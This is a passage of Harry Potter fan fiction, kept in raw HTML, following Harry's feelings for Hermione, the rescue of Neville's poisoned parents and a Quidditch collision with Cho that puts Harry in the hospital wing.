Now, she had the heady scent of musk. </p>\n\n<p>Harry had noticed that other girls in his year had started wearing perfume and makeup.&nbsp; Lavender wore green eye shadow and bright red lipstick as well as smelling like a bouquet of roses.&nbsp; Parvati started wearing dark eyeliner and fuschia lipstick.&nbsp; Harry had once had the misfortune to walk behind her and found himself enveloped in a cloud of perfume that smelled like grape bubble gum.&nbsp; It had instantly given him a splitting headache.</p>\n\n<p>As he breathed in Hermione&#8217;s scent he could only think of one word to describe it.&nbsp; Intoxicating.&nbsp; He closed his eyes and allowed his mind to drift.&nbsp; He imagined that he was far away from Hogwarts, without any worries of expulsion, exams, or Dark Wizards.&nbsp; He saw himself and Hermione standing alone on a warm tropical beach in the moonlight.&nbsp; She was wearing a gauzy dress that billowed in the wind clinging gently to her body.&nbsp; He leaned forward to bring her into his arms&#8230;</p>\n\n<p>&#8220;Harry?&#8221;</p>\n\n<p>Fingers were being snapped in front of his face.</p>\n\n<p>&#8220;Harry?&nbsp; Did you hear anything I said?&#8221; asked Hermione.</p>\n\n<p>&#8220;Umm, sorry.&nbsp; I must have drifted off,&#8221; he said dazed.&nbsp; </p>\n\n<p>&#8220;I know this is hard, but we have so much ground to cover in only a few weeks.&nbsp; Plus with our regular homework, your Quidditch practices, our upcoming final exams, along with the O.W.L.s, it&#8217;s going to be tough getting everything done in time.&nbsp; But we&#8217;ll do it.&nbsp; We have to.&#8221;</p>\n\n<p>Harry looked Hermione in the eye.&nbsp; He had never seen such fierce determination in them.&nbsp; The raw power that he saw there awed him.&nbsp; Especially when he considered that such loyalty was being shown towards him.</p>\n\n<p>&#8220;What did I ever do to deserve you?&#8221; he asked softly.</p>\n\n<p>She looked at him and squeezed his hand, &#8220;You&#8217;re my best friend.&nbsp; I don&#8217;t ever want to lose you.&#8221;</p>\n\n<p>Harry swallowed hard.&nbsp; It seemed that he had thought of nothing else for weeks.&nbsp; The fears he had about his future after blowing up Aunt Marge were now magnified ten fold.&nbsp; He worried where he would go and what he would do if he were expelled.&nbsp; Would Dumbledore be able to keep him around Hogwarts like he did after Hagrid&#8217;s expulsion?&nbsp; Or would there be too much political pressure on Dumbledore to not allow Harry to stay?&nbsp; He also thought about how old and tired Dumbledore had been looking.&nbsp; If Harry were kept on at Hogwarts and Dumbledore died, what would happen then?&nbsp; Would he even be welcome in the Wizarding World if they thought he was a Dark Lord in training?&nbsp; And what would it be like if he were forced to go back to the Dursleys?&nbsp; Would he have to go to Stonewall High?&nbsp; Live like a &#8220;normal&#8221; Muggle teenager?&nbsp; What would he do to make a living as an adult?&nbsp; That is if Voldemort would let him live.&nbsp; Maybe he&#8217;d try to live in Little Whinging with Sirius or maybe the two of them would wind up being fugitives together.&nbsp; Sleeping in caves and living off rats.&nbsp; Harry&#8217;s worst thoughts centered about possibly losing contact with Ron and Hermione.&nbsp; His head ached.&nbsp; </p>\n\n<p>Harry looked again at Hermione, it hurt just looking at her.&nbsp; He was so afraid he&#8217;d never see her again if he were expelled.&nbsp; He tried to speak, but he couldn&#8217;t make any words come out.&nbsp; Instead he merely nodded at her and gave a wan smile.&nbsp; <i>I don&#8217;t ever want to lose you either</i>, he thought.</p>\n\n<p>*</p>\n\n<p>After Neville&#8217;s memory was restored he became a new person.&nbsp; He no longer struggled to remember things and started raising his hand regularly to answer questions in class.&nbsp; Snape even seemed downright civil to Neville.&nbsp; He didn&#8217;t ridicule him at all and Neville was now making potions with ease.&nbsp; Ron teased him and suggested that Neville should have lost his toad years ago.&nbsp; Harry wondered whether or not this had anything to do with Ron&#8217;s clairvoyance or if he was merely joking about a pet that had annoyed him for years.</p>\n\n<p>Harry kept surreptitiously asking Neville about how the plans were coming along to rescue his parents.&nbsp; Finally on the third Saturday of May, Neville told him in the morning that they were set to attempt it that day.&nbsp; Snape and Professor Figg were going to accompany him and Mrs. Norris who was going disguised as Gran Longbottom.&nbsp; Dumbledore had borrowed a large vehicle from an old friend and they were going to use that to transport the Longbottoms back to Hogwarts.</p>\n\n<p>Even though he had a full day packed with Quidditch practice, reviewing rebuttal statements with Hermione and his regular studies, the day seemed to last an eternity for Harry.&nbsp; His thoughts were with Neville and his mind still wound up drifting towards what was happening at St. Mungo&#8217;s.</p>\n\n<p>It wasn&#8217;t until late that evening that Neville finally returned to <st1:place><st1:placename>Gryffindor</st1:placename>\n\n<st1:placetype>Tower</st1:placetype></st1:place>, looking exhausted.&nbsp; Harry went up to him and asked how it all went down.</p>\n\n<p>&nbsp;&#8220;Not here,&#8221; Neville whispered.&nbsp; &#8220;Is anyone upstairs?&#8221;</p>\n\n<p>Harry shook his head and they headed up to their bedroom.&nbsp; When they entered the room, Neville collapsed on his bed.</p>\n\n<p>&#8220;They&#8217;re here and they&#8217;re safe,&#8221; he sighed.</p>\n\n<p>&#8220;What happened?&#8221;</p>\n\n<p>Neville sat up and looked at Harry with a pained expression in his face.&nbsp; &#8220;Avery gave us a hard time.&nbsp; He didn&#8217;t want to discharge them at all.&nbsp; Figg had come up with the plan to use the sores on the hands as an excuse to get them out.&nbsp; So, Mrs. Norris said that she wanted to take her son and daughter-in-law out of there so that they could get &#8216;home care.&#8217;&nbsp; She said she had a nurse all lined up to take care of them at home.&nbsp; It looked like it was going to take all day for them to release my parents.&nbsp; I don&#8217;t know what they doing, but it took forever.&nbsp; Finally they had all the papers signed and we got to move them into the van.&nbsp; As soon as we left the hospital, Snape did something that I thought was strange.&nbsp; He clamped off their feeding tubes.&nbsp; I didn&#8217;t understand why he did that and he wouldn&#8217;t explain until later.&#8221;</p>\n\n<p>&#8220;What was wrong?&#8221; Harry asked.</p>\n\n<p>&#8220;He did some kind of test when we got back.&nbsp; He took some of the food and added some powdered chemicals and heated it in a glass tube.&nbsp; A silvery-black film was produced and he said it was arsenic.&nbsp; Harry, they had been <i>poisoning my parents.</i>&nbsp; That&#8217;s what the dark spots on their hands were due to.&nbsp; My grandmother knew what caused those spots because she must have authorized Avery to slowly poison them to death.&nbsp; Snape thinks that the amount put in the last feeding bag was a lethal dose.&nbsp; If he hadn&#8217;t stopped it when he did&#8230;&#8221; Neville shuddered.</p>\n\n<p>&#8220;So did someone take the Catatonia curse off them?&#8221;</p>\n\n<p>&#8220;Yeah, Figg did.&nbsp; But they&#8217;re still not well,&#8221; Neville said sadly.&nbsp; &#8220;Madam Pomfrey is looking after them.&nbsp; They&#8217;re in a private room off of the hospital ward so that no one will know they&#8217;re there.&nbsp; She said that the long term repeated use of the Catatonia curse has devastated their minds.&nbsp; She likens it to stroke victims who have to relearn how to walk and talk.&nbsp; Plus their muscle tone is completely gone.&nbsp; She has started them on Spirulina to help rid their bodies of the arsenic.&nbsp; She thinks it may be a month or so before they&#8217;ll even start looking like their old selves again.&#8221;</p>\n\n<p>&#8220;Did they recognize you?&#8221; Harry asked nervously.</p>\n\n<p>&#8220;No, not yet.&nbsp; I think it&#8217;s going to take a while for them to recognize anything.&nbsp; They do look awake now, so that&#8217;s progress.&nbsp; I plan on visiting them everyday and reading to them.&nbsp; Talking to them and letting them get to know me.&#8221;</p>\n\n<p>&#8220;That sounds very nice Neville.&#8221;</p>\n\n<p>&#8220;I just kind of wonder what&#8217;s going to happen with Gran.&#8221;</p>\n\n<p>&#8220;Did Dumbledore say anything about that?&#8221; Harry asked.</p>\n\n<p>&#8220;He told me that until my parents can provide testimony to the Ministry of Magic, that he would continue to &#8216;inconvenience&#8217; her.&nbsp; He said that my testimony alone wouldn&#8217;t be good enough.&nbsp; Because I was a small child when it happened as well as having a bad memory charm in place would make my testimony suspect.&#8221;</p>\n\n<p>&#8220;What about the arsenic in the feeding bags?&nbsp; Surely that can be used as evidence?&#8221; Harry asked.</p>\n\n<p>&#8220;I thought so too, but Snape said that they&#8217;d only accuse us of spiking the bags later in an attempt to plant evidence.&#8221;&nbsp; Neville then paused.&nbsp; &#8220;I wonder where Dumbledore is keeping my gran.&#8221;</p>\n\n<p>&#8220;Well the castle is a large place and there are many secret rooms and passages.&nbsp; I&#8217;m sure he&#8217;s got her stored away someplace safe,&#8221; Harry said reassuringly.</p>\n\n<p>Later that night as Harry was drifting off to sleep he saw the image of the lush terrarium with a large black beetle that he had seen in Dumbledore&#8217;s office.&nbsp; Sitting on the table next to it was an aquarium with a large brown fish with dark black spots on it that had a jawbone resemblinga horseshoe with teeth on the bottom of the fish tank. It was sucking the scum off the glass. </p>\n\n<p>*</p>\n\n<p>As the month of May wore on, Harry and Hermione started to have a little friction.&nbsp; He found that every waking hour was spent either in class, doing homework, practicing Quidditch or working on his rebuttals.&nbsp; Hermione thought he should be spending more of his time working on the rebuttals and less time in Quidditch practices.&nbsp; This was something that he simply wouldn&#8217;t compromise on.&nbsp; Not only did he feel it was necessary, but he also needed to do something physical that took his mind off all the worries he had regarding expulsion.</p>\n\n<p>The final Quidditch game of the season was going to be held on the last Saturday of the month and it was between Gryffindor and Ravenclaw.&nbsp; It would decide who would win the Quidditch Cup.&nbsp; Harry was feeling incredible pressure about this game.&nbsp; Not only might it be the last game he would ever play in, but he knew that the victory would depend on him.&nbsp; Ron was now unstoppable and would probably shut out all attempts by the Ravenclaw Chasers to score.&nbsp; The match would come down to which Seeker was luckier that day.</p>\n\n<p>Harry had been amazed at how well Cho had flown in the earlier two Ravenclaw matches.&nbsp; Other Quidditch players had seemed a bit rusty in the first match of the year, but not Cho, her playing had improved dramatically over the summer holidays. &nbsp;Harry thought that she must live somewhere remote enough to not worry about Muggles seeing her fly on a broomstick over the summer holidays.&nbsp; He guessed that she had practiced obsessively during the summertime as a coping response to Cedric&#8217;s death.&nbsp; Plus she now owned a Nimbus 2001 broomstick.&nbsp; It wasn&#8217;t as fast as Harry&#8217;s Firebolt, but it was still an incredible racing broom.&nbsp; So Harry was really worried about his prospects in facing her.</p>\n\n<p>Two weeks before the match, the tension on the campus started to grow.&nbsp; Ravenclaw hadn&#8217;t won the Quidditch Cup in fifteen years and they were hungry.&nbsp; Very hungry.&nbsp; They wanted that cup in a bad way.&nbsp; There wasn&#8217;t the animosity that was shown two years before between Slytherin and Gryffindor at that championship game, but there was a strong smell of competitiveness in the air.&nbsp; Ravenclaw house was almost willing their victory by sheer desire.&nbsp; Hufflepuff hadn&#8217;t won the Quidditch Cup in over twenty-five years and so understood and supported Ravenclaw&#8217;s quest for victory.&nbsp; Slytherin for the first time in decades had lost every game of the season and was rooting heavily for a Gryffindor defeat. </p>\n\n<p>Another thing that added to Harry&#8217;s anxiety was that Cho was the captain for the Ravenclaw team.&nbsp; It was being looked at as not only Gryffindor versus Ravenclaw, but also Harry Potter versus Cho Chang.&nbsp; Rumours about how Cedric died and Harry&#8217;s attentions towards Cho were being floated once again by Slytherins in an attempt to undermine his confidence and concentration.</p>\n\n<p>The morning of the Quidditch match was bright and sunny.&nbsp;&nbsp; The teams flew onto the Quidditch Pitch and Harry went forward to shake Cho&#8217;s hand before the start of the game.&nbsp; As he looked at her, he realized that he no longer had a crush on her.&nbsp; He still thought she looked really hot, but it was more a dispassionate analysis than it was a physical reaction by him.&nbsp; Cho looked him squarely in the eye and gave him a firm handshake.</p>\n\n<p>&#8220;Hey, Harry.&nbsp; May the best team win,&#8221; she said tossing her hair over her shoulder.</p>\n\n<p>&#8220;Umm, agreed,&#8221; he said blinking.</p>\n\n<p>They mounted their brooms and took their positions in the air.&nbsp; Madam Hooch stepped forward to release the balls and start the game.</p>\n\n<p>&#8220;Welcome to the final Quidditch match of the year where the Quidditch Cup will be decided.&nbsp; Gryffindor leads the contest by only fifty points over Ravenclaw.&nbsp; It is really anyone&#8217;s game,&#8221; announced Lee Jordan.&nbsp; &#8220;The Quaffle is released!&nbsp; Angelina Johnson grabs possession of the Quaffle.&nbsp; She flies to the Ravenclaw end and passes to Katie Bell who SCORES! &nbsp;Ten points for Gryffindor!&#8221;</p>\n\n<p>The Gryffindor Chasers then started in their formation to defend the scoring area.&nbsp; The Ravenclaws had trained extensively to react to the zone defence.&nbsp; Mandy Brocklehurst and Lisa Turpin were both Chasers and they passed the Quaffle back and forth trying to get into a good scoring position.&nbsp; </p>\n\n<p>&#8220;Turpin has the Quaffle and shoots and ohhh, shot down by Ron Weasley the Gryffindor Keeper.&#8221;</p>\n\n<p>This set up a pattern where Gryffindor had possession of the Quaffle and would score on most of the attempts, but Ravenclaw was unable to score at all.&nbsp; After an hour, the score was 70-0 Gryffindor. </p>\n\n<p>&#8220;Ravenclaw could still win the Cup outright if they catch the Golden Snitch before Gryffindor gets 100 points.&nbsp; No sign of the Snitch yet, though,&#8221; announced <st1:country-region><st1:place>Jordan</st1:place></st1:country-region>.&nbsp; &#8220;And another amazing stop by Keeper Weasley!&nbsp; He&#8217;s on fire today.&#8221;</p>\n\n<p>Harry had been scanning the skies and the field but hadn&#8217;t seen the Snitch.&nbsp; He found the brightness of the day to be distracting.&nbsp; The sun kept reflecting off of gold watches, earrings, bracelets, and other objects.&nbsp; He had seen the glints and almost took off flying a half dozen times when he realized that the sparkle was coming from the stands.</p>\n\n<p>The heat of the day also was difficult because of the long robes they wore as uniforms.&nbsp; Harry started to sweat and was worried that he&#8217;d soon start having sweat pouring down his forehead and smearing his glasses.</p>\n\n<p>&#8220;The score is now 80-0, Gryffindor.&nbsp; If Ravenclaw wants to end their fifteen year drought, they&#8217;re going to have to get on the board!&#8221;</p>\n\n<p>Harry saw Cho squinting as well.&nbsp; She had an angry look on her face.&nbsp; She wanted to win badly and felt embarrassed that her team was being shut out.&nbsp; It would be up to her to win.&nbsp; Her house started chanting her name.</p>\n\n<p>&#8220;Cho!&nbsp; Cho!&nbsp; Cho! Cho!&#8221;</p>\n\n<p>The Gryffindors responded with pounding and clapping of &#8220;We Will Rock You!&#8221;&nbsp; The sounds in the stands became deafening.</p>\n\n<p>Just then Harry saw something shiny glint coming in front of the Slytherin stand.&nbsp; He turned his broom towards it and as he screamed in the air towards it, he realized that it was a trick.&nbsp; Someone had taken a mirror and was catching the sun&#8217;s rays on it.&nbsp; Meanwhile Cho had started to track him.&nbsp; When he slowed down, she flew past him.&nbsp; He heard her curse when she realized that the Snitch was nowhere near there.&nbsp; Her flying was becoming reckless.</p>\n\n<p>&#8220;Another goal by Angelina Johnson!&nbsp; 90-0 Gryffindor.&#8221;</p>\n\n<p>Harry looked at Cho.&nbsp; She had a desperate look about her.&nbsp; She was scanning and muttering under her breath.&nbsp; Suddenly he saw the Golden Snitch.&nbsp; It was flying near where the Ravenclaw Chasers were trying to get around the Gryffindor zone defence.&nbsp; Harry pointed his Firebolt in the direction and went after the prize.&nbsp; He barely missed flying into Alicia Spinnet as the Snitch flew beneath the Chaser.&nbsp; Cho quickly followed Harry and she screamed a war whoop as she came barreling up behind him.&nbsp; He had barely missed being hit by a Bludger when he seized the Snitch and held it tightly in his hand.&nbsp; Cho was there a split second after Harry, but she was unable to change the course of her flight.&nbsp; Her broomstick impaled Harry.&nbsp; He felt as if a javelin was being driven through him.&nbsp; He screamed in agony as he felt the hardened wood splinter his ribcage and enter his liver.&nbsp; The midair collision knocked both of them to the ground.&nbsp; Blood was everywhere on the field.&nbsp; He blacked out from the pain as he crashed to the earth.</p>\n\n<p>Harry woke up later in the hospital wing.&nbsp; As he looked up, he saw Madam Pomfrey and felt her hands touch his bare chest.&nbsp; There was an ethereal white light that emanated from them, a warmth spread where she had touched him.</p>\n\n<p>&#8220;Mr. Potter, I was wondering when I&#8217;d see you as a patient this year,&#8221; Madam Pomfrey said wryly.</p>\n\n<p>&#8220;What happened?&#8221; Harry asked groggily.</p>\n\n<p>&#8220;You and Miss Chang collided in midair.&nbsp; You broke both legs, several ribs and your liver was a complete mess.&nbsp; It&#8217;s a good thing Professor McGonagall brought you here when she did.&nbsp; You might have bled to death otherwise.&nbsp; And it&#8217;s a damned good thing you didn&#8217;t do this in the Muggle world.&nbsp; You would have had surgery that could have lasted for hours, if you would have survived at all.&#8221;</p>\n\n<p>&#8220;Is Cho okay?&#8221; Harry asked.</p>\n\n<p>&#8220;Yes, she&#8217;s in the bed next to you,&#8221; Madam Pomfrey replied gesturing towards Cho.</p>\n\n<p>&#8220;I&#8217;m so sorry Harry,&#8221; Cho said tearfully.&nbsp; &#8220;I just really wanted to win and I lost all control.&nbsp; I know that Quidditch is a rough sport, but I almost killed you.&nbsp; If my broomstick had been a slightly different angle I could have pierced your heart rather than your liver.&nbsp; I am so sorry.&#8221;</p>\n\n<p>&#8220;Yes, it is a bloody sport,&#8221; Madam Pomfrey muttered.&nbsp; &#8220;I&#8217;ll never understand why everyone gets so wrapped up in it.&nbsp; Here Mr. Potter, drink this.&#8221;</p>\n\n<p>She handed him a glass that held a greenish black liquid.</p>\n\n<p>&#8220;Eccch.&nbsp; This tastes awful,&#8221; complained Harry.</p>\n\n<p>&#8220;Yes, that potion has bile in it.&nbsp; Right now you need that to help your liver mend itself.&nbsp; Drink,&#8221; she commanded.</p>\n\n<p>Harry complied and finished drinking the vile tasting liquid.&nbsp; Madam Pomfrey then turned down the sheets and placed her hands on his bare legs.&nbsp; The white light shone once again and he felt his bones mending.</p>\n\n<p>&#8220;What are you doing?&#8221; he asked.</p>\n\n<p>&#8220;I&#8217;m fixing your broken legs, dear boy.&nbsp; You may have the Sight, but I have the Touch,&#8221; said Madam Pomfrey.</p>\n\n<p>As his other leg was being set, Harry noticed that Cho was looking at his legs.&nbsp; He felt quite self-conscious that all he seemed to be wearing were boxers.&nbsp; Madam Pomfrey then took a cloth and placed it in a basin of warm water.&nbsp; She squeezed out the excess water and then cleaned the dried blood that was on his legs, arms and chest.&nbsp; The water quickly turned a reddish brown color.&nbsp; She followed that with a towel to dry him off and then pulled the sheet and blankets back to cover him.</p>\n\n<p>Madam Pomfrey then started tending to Cho&#8217;s broken bones.&nbsp; Harry tried hard not to stare at her legs in return, but found himself stealing a few glances.&nbsp; Seeing the radiating light from Madam Pomfrey&#8217;s hands was so fascinating that he couldn&#8217;t help but watch the healing process.&nbsp; He now wished again for the thousandth time that Gilderoy Lockhart hadn&#8217;t tried to fix his arm during his second year.&nbsp; He would rather have had her healing touch than become de-boned and have to painfully re-grow all his bones overnight.</p>\n\n<p>After Pomfrey finished with Cho, she spoke to them, &#8220;Both of you will need to stay here for the night to allow your bones to mend fully and for Mr. Potter&#8217;s liver to start healing.&nbsp; Hopefully you&#8217;ll be able to leave sometime tomorrow afternoon.&nbsp; Excuse me, while I go speak with your friends.&#8221;</p>\n\n<p>Madam Pomfrey then walked over to the infirmary&#8217;s doors.&nbsp; Outside came the sound of dozens of students all speaking at once.</p>\n\n<p>&#8220;They need their rest.&nbsp; Both of them will be fine, but they&#8217;ve been through a terrible ordeal and need bed-rest.&#8221;</p>\n\n<p>Harry then heard Hermione&#8217;s voice pleading to come visit.&nbsp; He couldn&#8217;t quite make out the words, but recognized the voice.&nbsp; Just hearing her being concerned about his welfare felt reassuring.</p>\n\n<p>&#8220;All right,&#8221; Madam Pomfrey relented.&nbsp; &#8220;Two visitors for each patient and only for two minutes.&#8221; </p>\n\n<p>Lisa Turpin and Terry Boot came over to sit next to Cho.&nbsp; Harry then looked up and saw Ron and Hermione sitting down next to him.&nbsp; Hermione&#8217;s eyes looked red and swollen.&nbsp; She looked like she wanted to throw herself to hug him, but was restraining herself because of his injuries.&nbsp; Instead she grabbed his hand and squeezed.</p>\n\n<p>&#8220;Well, how are you?&#8221; she asked nervously biting her lips.</p>\n\n<p>&#8220;Er, a bit sore,&#8221; he blinked, &#8220;but otherwise okay.&nbsp; Please don&#8217;t worry about me.&#8221; </p>\n\n<p>&#8220;Don&#8217;t worry?&nbsp; You don&#8217;t know how awful it was to watch you almost die.&nbsp; I don&#8217;t know if I&#8217;ll ever be able to go to another Quidditch match.&nbsp; I don&#8217;t think I could take seeing something like that again,&#8221; she said as her eyes welled with tears.</p>\n\n<p>&#8220;Umm, it <i>was</i> wicked,&#8221; sniffed Ron.&nbsp; &#8220;After McGonagall conjured stretchers and brought you here, Professor Figg went out on the field and cleaned up all the blood.&nbsp; It was a real mess.&#8221;</p>\n\n<p>&#8220;Well after today&#8217;s game I don&#8217;t think anyone can say that girls aren&#8217;t as competitive as guys,&#8221; Harry said weakly.</p>\n\n<p>Harry watched the tears stream down Hermione&#8217;s face.&nbsp; He tried to reach up to brush them away, except that when he moved his arm, he found that it caused a sharp pain to course through his chest.&nbsp; Hermione saw his face wince with pain.</p>\n\n<p>&#8220;Don&#8217;t move Harry,&#8221; she said.&nbsp; &#8220;Please just rest.&#8221;</p>\n\n<p>&#8220;Yes, that&#8217;s what they both need.&nbsp; Rest.&nbsp; Your time is up,&#8221; said Madam Pomfrey.</p>\n\n<p>Hermione nodded and squeezed Harry&#8217;s hand again.&nbsp; She then leaned forward and fingered his amulet before moving it to the center of his neck.&nbsp; She looked in his eyes as if to ask him about it, but decided against it.&nbsp; Instead she gave him a kiss on the cheek.&nbsp; He could feel the wetness on her cheeks and tasted the saltiness of her tears.</p>\n\n<p>&#8220;I&#8217;ll come by tomorrow,&#8221; she said.</p>\n\n<p>&#8220;Come on, Hermione.&nbsp; We need to get going,&#8221; said Ron pulling on her arm.&nbsp; &#8220;There&#8217;s a party back at <st1:place><st1:placename>Gryffindor</st1:placename>\n\n<st1:placetype>Tower</st1:placetype></st1:place>.&nbsp; We don&#8217;t want to miss all the food.&#8221;</p>\n\n<p>She nodded and then cast a sideways glance at Cho before she turned to leave.&nbsp; Ron then put his arm around her in a comforting gesture as they left the room.</p>\n\n<p>&nbsp;Later Madam Pomfrey brought some rich broth for them to drink that seemed to warm Harry&#8217;s very soul.&nbsp; As they lay there quietly watching the rays from the sunset bouncing off the walls, Cho broke the silence.</p>\n\n<p>&nbsp;&#8220;Harry, I never really thanked you for helping me out last fall.&nbsp; After your Quidditch match, Summers Montague left me alone.&nbsp; I really appreciated your help.&#8221;</p>\n\n<p>&#8220;It was nothing,&#8221; he said dismissively.</p>\n\n<p>&#8220;No.&nbsp; It really helped and you stood up for me against a thuggish brute.&#8221;</p>\n\n<p>&#8220;And I want to thank you for standing up for me on the first day of school,&#8221; Harry replied.</p>\n\n<p>&#8220;Right after I did that, I had a ton of girls come up and ask about you.&nbsp; They all wanted to know what you were really like.&nbsp; You know Harry,&#8221; she said coyly, &#8220;you could have your pick of girls around here if you tried.&#8221;</p>\n\n<p>Harry started to feel very uncomfortable about where this conversation was going.&nbsp; Here was his first crush telling him how desirable he was to everyone else in school.&nbsp; He didn&#8217;t quite know what to make of it.&nbsp; This felt worse than being the guy who girls turned to talk to about their &#8220;boy problems.&#8221;</p>\n\n<p>&#8220;How about you?&nbsp; Have you found anyone?&#8221; Harry asked desperately trying to change the subject.&nbsp; </p>\n\n<p>Immediately after he spoke, he wished he could have taken his words back.&nbsp; Would she think that he was once again asking if she were interested in him?</p>\n\n<p>&#8220;Yeah,&#8221; Cho said smiling.&nbsp; &#8220;I just started dating someone.&nbsp; He&#8217;s been my study buddy for years, but we only recently started thinking of each other as &#8216;more than friends.&#8217;&nbsp; We haven&#8217;t gone public yet, so I can&#8217;t tell you who it is.&#8221;</p>\n\n<p>Harry considered her statement and wondered if she were telling him the truth or if she just trying to kindly brush him off again.&nbsp; He then thought about how awkward it would be if they did try to date.&nbsp; He was in some part responsible for Cedric&#8217;s death and now she almost caused Harry&#8217;s death.&nbsp; Not a good start for a healthy relationship.</p>\n\n<p>&#8220;That&#8217;s nice.&nbsp; I&#8217;m happy for you,&#8221; he said dully.</p>\n\n<p>&#8220;Harry, I think Hermione might like it if you two were &#8216;more than friends.&#8217;&#8221;</p>\n\n<p>&#8220;Why do you say that?&#8221; he asked nervously.</p>\n\n<p>&#8220;A girl can tell.&nbsp; I think she was very uncomfortable that we&#8217;re here together tonight.&nbsp; I saw a look of jealousy in her eyes before she left.&#8221;</p>\n\n<p>&#8220;Maybe she just doesn&#8217;t want me to get hurt.&#8221;</p>\n\n<p>&#8220;Maybe.&nbsp; Harry you don&#8217;t want to wait too long.&nbsp; You might miss your chance <i>again</i>,&#8221; she said slyly.</p>\n\n<p>&#8220;What do you mean by that?&#8221;</p>\n\n<p>&#8220;Well, if you hadn&#8217;t waited so long to ask me to the Yule Ball, you might have asked me before Cedric did.&nbsp; I would have said yes.&#8221;</p>\n\n<p>Harry swallowed hard.&nbsp; &#8220;Would you have changed your mind about going with me when Cedric asked you?&#8221;</p>\n\n<p>She shook her head.&nbsp; &#8220;I wouldn&#8217;t go back on a promise like that.&#8221;</p>\n\n<p>&#8220;So we&#8230;?&#8221;</p>\n\n<p>&#8220;You never know what might have been,&#8221; Cho said softly.&nbsp; &#8220;I&#8217;m sorry Harry, but after Cedric&#8217;s death I can&#8217;t even look at you without thinking of him.&nbsp; It&#8217;s just too painful,&#8221; then she gave him a small smile.&nbsp; &#8220;Anyway, I just don&#8217;t want you to miss your opportunity again.&nbsp; Hermione is really beginning to blossom.&nbsp; The guys are beginning to take notice and if you wait too long again&#8230;&#8221;</p>\n\n<p>&#8220;Why do you think I want Hermione as a girlfriend?&#8221; Harry asked defensively.&nbsp; &#8220;I mean she&#8217;s already got a big bulls-eye painted on her back for being my close friend.&nbsp; Why would I want to endanger her anymore than that?&#8221;</p>\n\n<p>&#8220;I&#8217;ve seen you two together in the library.&nbsp; You look very comfortable together.&nbsp; I think you&#8217;re in love with her,&#8221; she said simply.&nbsp; &#8220;But you just don&#8217;t want to admit it to yourself.&#8221;</p>\n\n<p>Harry lay there looking at the ceiling and thinking about what Cho had said.&nbsp; <i>In love?&nbsp; Had he fallen in love with Hermione?</i>&nbsp; He had been thinking about her a lot this past year.&nbsp; She had started to dominate his dreams, but it was either that or Voldemort.&nbsp; He started remembering how nice it was walking arm in arm with her under his Invisibility Cloak.&nbsp; Then he thought of when he held her in his arms and comforted her after her break-up with Krum.&nbsp; How soft her hair felt as he stroked it and how wonderful it smelled.&nbsp; He had been there for her as a friend, but he found himself drawing as much strength from her arms as he knew he was giving her.&nbsp; His mind started drifting to all the hours spent with her working on his legal defence.&nbsp; Selfishly he felt glad that he had been able to spend as much time with her alone and to sit so close to her.&nbsp; Smelling her perfume and thinking pleasant thoughts.&nbsp; It was undeniable the attraction that he was feeling towards her, but was that <i>Love</i> or was it just his hormones?</p>\n\n<p>Harry didn&#8217;t want to see her hurt.&nbsp; That thought seemed to immediately follow any amorous feelings he ever had towards her.&nbsp; Maybe she&#8217;d be better off if she dated some else altogether.&nbsp; He started wondering who else might be interested in her.&nbsp; As soon as he started going through the guys in his year several faces immediately jumped out in his mind.</p>\n\n<p>Draco Malfoy.&nbsp; He had cruelly teased her for years.&nbsp; Could it be that he was trying to cover up being attracted to her?&nbsp; Harry scoffed at the very thought of Hermione and Draco.&nbsp; She&#8217;s sooner hex him than kiss him.</p>\n\n<p>Neville Longbottom.&nbsp; He had asked her to the Yule Ball.&nbsp; She had always been kind to him when others were thoughtless or cruel.&nbsp; Now that Neville&#8217;s memory had been restored, he had become confident and self-assured.&nbsp; Maybe Neville would now try to reach out to her.</p>\n\n<p>Dean Thomas.&nbsp; He and Hermione had enjoyed leading the Gryffindor house in cheers at the Quidditch games.&nbsp; Except for the spat about Millicent Bulstrode, Harry couldn&#8217;t think of any time when Hermione and Dean had argued.&nbsp; They seemed to get along famously.</p>\n\n<p>Then Harry realized who was probably the one person who was most likely to be in love with Hermione.&nbsp; Ron.&nbsp; He had been intensely jealous and critical of Viktor Krum.&nbsp; He was also overprotective and overly sensitive towards her at the same time.&nbsp; This led to them bickering almost constantly.&nbsp; Harry began to wonder if this was Ron&#8217;s inept way of showing that he was interested in her.&nbsp; </p>\n\n<p>Harry then thought of how Ron had pulled Hermione out of the infirmary earlier that night and then put his arm around her.&nbsp; Ron would have then comforted Hermione, similar to how Harry had done after her break-up with Krum.&nbsp; Ron would be holding her in his arms and tonight they would be together celebrating Gryffindor House&#8217;s win.&nbsp; They would be relaxing and enjoying each other&#8217;s company without Harry being there.&nbsp; Would Ron use this opportunity to make his move with Hermione?&nbsp; Ron had seemed rather put off by all the time Harry and Hermione had spent together in the last two months working on his expulsion hearing.&nbsp; <i>Was Ron jealous of him?</i> Harry wondered.</p>\n\n<p>Then Harry realized that he didn&#8217;t have a problem with the idea of Hermione being with Neville or Dean, but he couldn&#8217;t bear the thought of Hermione and Ron together.&nbsp; No.&nbsp; Hermione would still be in great danger from Voldemort and Harry would then feel like an outsider with his two best friends.&nbsp; No, he did not want to even consider Ron and Hermione as a couple.</p>\n\n<p>Harry had never tried to use his Mind&#8217;s Eye before, but now he started to concentrate on the Gryffindor common room.&nbsp; He wasn&#8217;t even sure if he were having a vision or merely imagining what was happening.&nbsp; He saw himself travelling through the castle, through the portrait hole and into the common room.&nbsp; It was filled with Gryffindors rejoicing the win of the Quidditch Cup.&nbsp; He saw Neville chatting amiably with Lavender and Parvati.&nbsp; Dean and Seamus were talking with a group of fourth year students.&nbsp; The twins were holding court with Lee Jordan, Angelina, Katie and Alicia.&nbsp; Ron and Hermione had just filled their plates with food and were walking over to an empty spot on the couch.&nbsp; It was barely large enough for two people.&nbsp; They both squeezed in and Ron at first had sat with his arms firmly at his side.&nbsp; But it was too crowded for him to eat, so he moved one arm around Hermione&#8217;s shoulders.&nbsp; She looked a little surprised at first, but Ron gave her a friendly smile.&nbsp; Then the quality of his smile changed and he began to lean closer to her.</p>\n\n<p><i>&#8220;STOP!&#8221;</i> Harry screamed inside his head.</p>\n\n<p>Ron&#8217;s face looked up startled as if he had heard Harry&#8217;s cry.&nbsp; Then the vision ended and Harry looked nervously around the infirmary.</p>\n\n<p>&#8220;Stop what?&#8221; Cho asked.</p>\n\n<p>&#8220;I-I didn&#8217;t say anything,&#8221; Harry protested.</p>\n\n<p>&#8220;You&#8217;re right, you didn&#8217;t.&nbsp; I must have just imagined that,&#8221; said Cho.&nbsp; &#8220;Sorry if I woke you.&#8221;</p>\n\n<p>&#8220;I 